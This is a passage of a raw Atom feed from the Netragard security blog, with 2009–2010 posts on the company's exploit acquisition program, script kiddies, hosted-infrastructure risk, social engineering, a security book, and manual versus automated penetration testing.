id="SPELLING_ERROR_9"&gt;EAP&lt;/span&gt;&lt;/span&gt; Work?&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;The &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;EAP&lt;/span&gt;&lt;/span&gt; works as follows:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;Researcher contacts &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;Netragard&lt;/span&gt;&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;Researcher and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;Netragard&lt;/span&gt;&lt;/span&gt; execute a Mutual Nondisclosure Agreement.&lt;/li&gt;&lt;li&gt;Researcher provides a &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_14"&gt;verifiable&lt;/span&gt; form of identification to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;Netragard&lt;/span&gt;&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;Researcher fills out an Exploit Acquisition Form ("&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;EAF&lt;/span&gt;&lt;/span&gt;").&lt;/li&gt;&lt;li&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;Netragard&lt;/span&gt;&lt;/span&gt; works with the buyer to determine exploit value based on the information provided in the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;EAF&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;Researcher accepts or rejects the price. &lt;b&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;&lt;span class="Apple-style-span"  style="font-size:x-small;"&gt;Note:&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;&lt;span class="Apple-style-span"  style="font-size:x-small;"&gt; If rejected, the process stops here.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Researcher submits the exploit code and vulnerability details to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;Netragard&lt;/span&gt;&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;Netragard&lt;/span&gt;&lt;/span&gt; verifies that the exploit works as advertised.&lt;/li&gt;&lt;li&gt;If the exploit does not work as advertised then the researcher is given the opportunity to resolve the issue(s).&lt;/li&gt;&lt;li&gt;If the exploit does work as advertised then the purchase agreement is delivered to the researcher. &lt;/li&gt;&lt;li&gt;Researcher executes purchase agreement and transfers all rights and ownership of the exploit and any &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_20"&gt;information&lt;/span&gt; related to the exploit to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;Netragard&lt;/span&gt;&lt;/span&gt;.  &lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;At this point researcher loses all rights to the exploit and its respective information.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;Netragard&lt;/span&gt;&lt;/span&gt; begins the payment process.&lt;/li&gt;&lt;li&gt;Payments are issued in three equal installments over the course of three months. &lt;/li&gt;&lt;/ol&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;EAP&lt;/span&gt;&lt;/span&gt; Rules&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;Netragard&lt;/span&gt;&lt;/span&gt; requires exclusivity for all exploits purchased through the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;EAP&lt;/span&gt;&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;Ownership of the exploit and its respective vulnerability information are &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_26"&gt;transferred&lt;/span&gt; from researcher to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;Netragard&lt;/span&gt;&lt;/span&gt; at step 11 above.  Prior to step 11 the exploit and its respective vulnerability information are the intellectual property of the researcher.  If at any point before step 11 the researcher terminates the acquisition process then &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;Netragard&lt;/span&gt;&lt;/span&gt; will destroy any and all information related to failed transaction. &lt;b&gt;Termination of sale is not possible after step 11.&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;Netragard&lt;/span&gt;&lt;/span&gt; will not identify its buyers.&lt;/li&gt;&lt;li&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;Netragard&lt;/span&gt;&lt;/span&gt; will not identify researchers.&lt;/li&gt;&lt;li&gt;All transactions between buyer, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;Netragard&lt;/span&gt; and developer are done legally and contractually.  At no point will &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;Netragard&lt;/span&gt; engage in illegal activity or with unknown, untrusted, and/or &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_30"&gt;unverifiable&lt;/span&gt; sources or entities. &lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;If you are interested in selling your exploit to us, please contact us at eap@netragard.com. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-7610505722316086821?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/7610505722316086821/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2010/03/recent-news-on-forbes-about-our-exploit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/7610505722316086821'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/7610505722316086821'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2010/03/recent-news-on-forbes-about-our-exploit.html' title='Exploit Acquisition Program - More Details'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-5690645674993383703</id><published>2010-03-04T17:03:00.000-08:00</published><updated>2010-03-25T20:19:57.786-07:00</updated><title type='text'>Professional Script Kiddies vs Real Talent</title><content type='html'>The Good Guys in the security world are no different from the Bad Guys; most of them are nothing more than glorified Script Kidies.  The fact of the matter is that if you took all of the self-proclaimed hackers in the world and you subjected them to a litmus test, very few would pass as acutal hackers.&lt;br /&gt;&lt;br /&gt;This is true for both sides of the so called Black and White hat coin.  In the Black Hat world, you have script-kids who download programs that are written by other people then use those programs to “hack” into networks.  The White Hat’s do the exact same thing; only they buy the expensive tools instead of downloading them for free.  Or maybe they’re actually paying for the pretty GUI, who knows?&lt;br /&gt;&lt;br /&gt;What is pitiable is that in just about all cases these script kiddies have no idea what the programs actually do.  Sometimes that’s because they don’t bother to look at the code, but most of the time its because they just can’t understand it.  If you think about it that that is scary.  Do you really want to work with a security company that launches attacks against your network with tools that they do not fully understand?  I sure wouldn’t.&lt;br /&gt;&lt;br /&gt;This is part of the reason why I feel that it is so important for any professional security services provider to maintain an active research team. I’m not talking about doing market research and pretending that its security research like so many security companies do. I’m talking about doing actual vulnerability research and exploit development to help educate people about risks for the purposes of defense.  After all, if a security company can’t write an exploit then what business do they have launching exploits against your company?&lt;br /&gt;&lt;br /&gt;I am very proud to say that Everything Channel recently released the 2010 CRN Security Researchers list and that &lt;a href="http://www.netragard.com/"&gt;Netragard’s Kevin Finisterre&lt;/a&gt; was on the list.  Other people that were included in the list are people that I have the utmost respect for.  As far as I am concerned,&lt;a href="http://www.entrepreneur.com/prnewswire/release/242610.html"&gt; these are &lt;b&gt;some&lt;/b&gt; of the best guys in the industry:&lt;/a&gt; &lt;span style="font-size:85%;"&gt;(clearly this list is not all inclusive and in no way includes all of the people that deserve credit for their contributions and/or talent). &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Dino Dai Zovi              &lt;/li&gt;&lt;li&gt;Kevin Finisterre         &lt;/li&gt;&lt;li&gt;Landon Fuller            &lt;/li&gt;&lt;li&gt;Robert Graham          &lt;/li&gt;&lt;li&gt;Jeremiah Grossman  &lt;/li&gt;&lt;li&gt;Larry Highsmith        &lt;/li&gt;&lt;li&gt;Billy Hoffman            &lt;/li&gt;&lt;li&gt;Mikko Hypponen      &lt;/li&gt;&lt;li&gt;Dan Kaminsky           &lt;/li&gt;&lt;li&gt;Paul Kocher                &lt;/li&gt;&lt;li&gt;Nate Lawson              &lt;/li&gt;&lt;li&gt;David Litchfield        &lt;/li&gt;&lt;li&gt;Charles Miller            &lt;/li&gt;&lt;li&gt;Jeff Moss&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Jose Nazario&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Joanna Rutkowska&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;In the end I suppose it all boils down to what the customer wants.  Some customers want to know their risks; others just want to put a check in the box.  For those who want to know what their real risks are, &lt;a href="http://www.netragard.com/"&gt;you’ve come to the right place&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-5690645674993383703?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/5690645674993383703/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2010/03/good-guys-in-security-world-are-no.html#comment-form' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5690645674993383703'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5690645674993383703'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2010/03/good-guys-in-security-world-are-no.html' title='Professional Script Kiddies vs Real Talent'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-4627752340474870155</id><published>2009-10-12T16:10:00.000-07:00</published><updated>2009-10-12T16:14:00.507-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><category scheme='http://www.blogger.com/atom/ns#' term='Outsourcing'/><category scheme='http://www.blogger.com/atom/ns#' term='Netragard'/><category scheme='http://www.blogger.com/atom/ns#' term='Virtual Host'/><category scheme='http://www.blogger.com/atom/ns#' term='Hosting'/><category scheme='http://www.blogger.com/atom/ns#' term='Email'/><category scheme='http://www.blogger.com/atom/ns#' term='LLC.'/><title type='text'>Hosted Solutions – A Hackers Haven</title><content type='html'>&lt;!--StartFragment--&gt;  &lt;p class="MsoNormal"&gt;Human beings are lazy by nature.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;If there is a choice to be made between a complicated technology solution and an easy technology solution, then nine times out of ten people will choose the easy solution.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;The problem is that the easy solutions are often riddled with hidden risks and those risks can end up costing the consumer more money in damages then what might be saved by using the easy solution.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;The advantages of using a managed hosting provider to host your email, website, telephone systems, etc, are clear.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;When you outsource critical infrastructure components you save money.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;The savings are quickly realized because you no longer need to spend money running a full scale IT operation.&lt;span style="mso-spacerun: yes"&gt;   &lt;/span&gt;In many cases, you don’t even need to worry about purchasing hardware, software, or even hiring IT staff to support the infrastructure. &lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;What isn’t clear to most people is the serious risk that outsourcing can introduce to their business.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;In nearly all cases a business will have a radically lower risk and exposure profile if they keep everything in-house.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;This is true because of the substantial attack surface that hosting providers have when compared to in-house IT environments.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;For example, a web-hosting provider might host 1,000 websites across 50 physical servers.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;If one of those websites contains a single vulnerability and that vulnerability is exploited by a hacker then the hacker will likely take control of the entire server.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;At that point the hacker will have successfully compromised and taken control of all 50 websites with a single attack. &lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;In non-hosted environments there might be only one Internet facing website as opposed to the 1000 that exist in a hosted environment.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;As such the attack surface for this example would be 1000 times greater in a hosted environment than it is in a non-hosted environment.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;In a hosted environment the risks that other customers introduce to the infrastructure also become your risk. &lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;In a non-hosted environment you are only impacted by your own risks.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;To make matters worse, many people assume that such a risk isn’t significant because they do not use their hosted systems for any critical transactions.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;They fail to consider the fact that the hacker can modify the contents of the compromised system.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;These modifications can involve redirecting online banking portal links, credit card form posting links, or even to spread infectious malware. &lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;While this is true for any compromised system, the chances of suffering a compromise in a hosted environment are much greater than in a non-hosted environment.&lt;/p&gt;  &lt;!--EndFragment--&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-4627752340474870155?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/4627752340474870155/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2009/10/hosted-solutions-hackers-haven.html#comment-form' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/4627752340474870155'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/4627752340474870155'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2009/10/hosted-solutions-hackers-haven.html' title='Hosted Solutions – A Hackers Haven'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-3366212214975163199</id><published>2009-09-22T11:28:00.000-07:00</published><updated>2009-09-22T11:45:12.652-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='penetration test'/><category scheme='http://www.blogger.com/atom/ns#' term='Phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='AIM'/><category scheme='http://www.blogger.com/atom/ns#' term='Fraud'/><category scheme='http://www.blogger.com/atom/ns#' term='Con'/><category scheme='http://www.blogger.com/atom/ns#' term='Social Engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='Con Artist'/><category scheme='http://www.blogger.com/atom/ns#' term='Risk'/><category scheme='http://www.blogger.com/atom/ns#' term='Confidence'/><category scheme='http://www.blogger.com/atom/ns#' term='Confidence Artist'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerability assessment'/><category scheme='http://www.blogger.com/atom/ns#' term='Facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='Email'/><category scheme='http://www.blogger.com/atom/ns#' term='MSN'/><category scheme='http://www.blogger.com/atom/ns#' term='Yahoo'/><category scheme='http://www.blogger.com/atom/ns#' term='Chat'/><title type='text'>Social Engineering – It’s Nothing New</title><content type='html'>&lt;div style="text-align: left;"&gt;With all the recent hype about Social Engineering &lt;a href="http://www.netragard.com/"&gt;we&lt;/a&gt; figured that we’d chime in and tell people what’s really going on.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;The fact is that Social Engineering is nothing more than a Confidence Trick being carried out by a Con Artist.&lt;span style="mso-spacerun: yes"&gt;   &lt;/span&gt;The only difference between the term Social Engineering and Confidence Trick is that Social Engineering is predominately used with relation to technology.&lt;/div&gt;  &lt;p class="MsoNormal"&gt;So what is it really? Social Engineering is the act of exploiting a person’s natural tendency to trust another person or entity.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Because the vulnerability exists within people, there is no truly effective method for remediation.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;That is not to say that you cannot protect your sensitive data, but it is to say that you cannot always prevent your people or even yourself from being successfully conned.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;The core ingredients required to perform a successful confidence trick are no different today then they were before the advent of the Internet. &lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;The con artist must have the victim’s trust, and then trick the victim into performing an action or divulging information.&lt;span style="mso-spacerun: yes"&gt;   &lt;/span&gt;The Internet certainly didn’t create the risk but it does make it easier for the threat to align with the risk.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Before the advent of the Internet the con artist (threat) needed to contact the victim (risk) via telephone, in person, via snail mail, etc.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Once contact was made a good story needed to be put into place and the victim’s trust needed to be earned.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;That process could take months or even years and even then success isn’t guaranteed.&lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;The advent of the Internet provided the threat with many more avenues’ through which it could successfully align with the risk. &lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;Specifically, the Internet enables the threat to align with hundreds or even thousands of risks simultaneously. &lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;That sort of shotgun approach couldn’t be done before and significantly increases an attackers chances of success.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;One of the most elementary examples of this shotgun approach is the email based phishing attack.&lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;The email based phishing attack doesn’t earn the trust of its victims; it steals trust from existing relationships.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Those relationships might exist between the victim and their bank, family member, co-worker, employer, etc.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;In all instances the email based phishing attack hinges on the attacker’s ability to send emails that look like they are coming from a trusted source (exploitation of trust).&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;From a technical perspective, email spoofing and phishing is trivial&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;(&lt;a href="http://snosoft.blogspot.com/2009/02/facebook-from-hackers-perspective.html"&gt;&lt;b&gt;&lt;i&gt;click here&lt;/i&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;i&gt; for a more sophisticated attack example&lt;/i&gt;&lt;/b&gt;).&lt;/p&gt;  &lt;p class="MsoNormal"&gt;The reason why it is possible for an attacker to steal trust from a victim instead of earning that trust is because “face to face” trust isn’t portable to the Internet.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;For example, most people trust their spouse.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Many people talk to their spouse on AIM, MSN, Yahoo, Skype, etc. while at work.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;How do they know that they are really chatting with their spouse and not a hacker?&lt;/p&gt;  &lt;p class="MsoNormal"&gt;So how do you protect against the social risks and prevent the threat from successfully aligning with those risks?&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;The truth is that you can't.  Con artists have been conning people since the dawn of man.  The better question what are you doing to &lt;a href="https://www.netragard.com"&gt;protect your data&lt;/a&gt; from the hacker that does penetrate into your IT Infrastructure? &lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;!--EndFragment--&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-3366212214975163199?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/3366212214975163199/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2009/09/social-engineering-its-nothing-new.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3366212214975163199'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3366212214975163199'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2009/09/social-engineering-its-nothing-new.html' title='Social Engineering – It’s Nothing New'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-421805713136660392</id><published>2009-07-24T09:35:00.000-07:00</published><updated>2009-07-24T09:38:26.767-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Jayson E. Street'/><category scheme='http://www.blogger.com/atom/ns#' term='DISSECTING THE HACK: The Forbidd3m Network'/><title type='text'>Why “DISSECTING THE HACK:  The F0rb1dd3n Network” was written.   By: Jayson E. Street</title><content type='html'>&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;Note:&lt;/span&gt; This blog entry was written by Jayson E. Street and published on his behalf. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The consumer, the corporate executive, and the government official.  Regardless of your perspective, DISSECTING THE HACK:  The F0rb1dd3n Network was written to illustrate the issues of Information Security through story.  We all tell stories.  In fact, we do our best communicating through stories.  This book illustrates how very real twenty-first century threats are woven into the daily lives of people in different walks of life.&lt;br /&gt;&lt;br /&gt;Three kids in Houston, Texas.  A mid-level Swiss businessman traveling abroad.  A technical support worker with a gambling problem.  An international criminal who will do anything for a profit (and maybe other motives).  FBI agents trying to unravel a dangerous puzzle.  A widower-engineer just trying to survive.  These are just some of the lives brought together in a story of espionage, friendship, puzzles, hacks, and more.  Every attack is real.  We even tell you how some of these attack are done.  And we tell you how to defend against varied attacks as well. &lt;br /&gt;&lt;br /&gt;DISSECTING THE HACK:  The F0rb1dd3n Network is a two-part work.  The first half is a story that can be read by itself.  The second half is a technical reference work that can also be read alone.  But together, each provides texture and context for the other.  The technical reference – called the STAR or “Security Threats Are Real” – explains the “how” and “why” behind much of the story.  STAR addresses technical material, policy issues, hacker culture context, and even explains “Easter Eggs” in the story.&lt;br /&gt;&lt;br /&gt;This book is the product of a community of Information Security professionals.  It is written to illustrate how we are all interesting targets for various reasons.  We may be a source of money for criminals through fraud, we might have computing resources that can be used to launch attacks on someone else, or we may be responsible for protecting valuable information.  The reasons we are attacked are legion – and so are the ways we are attacked.  Our goal is to raise awareness in a community of people who are under-served.  Few of us really want dry lectures about how we should act to protect ourselves.  But stories of criminals, corporate espionage, friendship and a little juvenile delinquency – now that is the way to learn.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-421805713136660392?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/421805713136660392/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2009/07/why-dissecting-hack-f0rb1dd3n-network.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/421805713136660392'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/421805713136660392'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2009/07/why-dissecting-hack-f0rb1dd3n-network.html' title='Why “DISSECTING THE HACK:  The F0rb1dd3n Network” was written.   By: Jayson E. Street'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-5973818304828963188</id><published>2009-07-16T08:05:00.000-07:00</published><updated>2009-07-16T08:32:52.998-07:00</updated><title type='text'>Verify Your Security Provider -- The truth behind manual testing.</title><content type='html'>&lt;!--StartFragment--&gt;  &lt;p class="MsoNormal"&gt;Something that I’ve been preaching for a while is that automated vulnerability scanners do not produce quality results and as such shouldn’t be relied on for penetration tests or vulnerability assessments.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;I’ve been telling people that they should look for a security company that offers manual testing, not just automated scans.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;The price points for quality work will be significantly higher, but in the end the value is much greater.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;After all the cost in damages of a single successful compromise is far greater than the cost of the best possible security services. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;I’ve noticed that there are a bunch of vendors who claim to be performing manual testing.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;But when I dig into their methodologies their manual testing isn’t real manual testing at all, its just vetting of automated scanner results or testing based on the results.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;In other words they test on what the automated scanner reports and don’t do any real manual discovery.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;I’m not saying that tools like nessus (an automated scanner) don’t have their place, I’m just saying that they aren’t going to protect you from the bad guys.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;If you want to be protected from the threat, you need to be tested at a level that is a few notches higher than the threat that you are likely to face in the real world.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt;This is akin to how the Department of Defense tests the armor on its tanks, and I’ve probably mentioned this before somewhere on the blog.&lt;span style="mso-spacerun: yes"&gt;   &lt;/span&gt;But, we don’t test our tanks against fire from bb guns and .22 caliber pistols.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;If we did that they wouldn’t be very effective in war.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;We test the tanks against a threat that is a few levels higher in intensity than what they are likely to face in the real world. As a result, the tank can withstand most threats and is a very effective weapon.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Doing anything less isn’t going to protect you when the threat tries to align with your risks; you’ll end up being an expensive casualty of 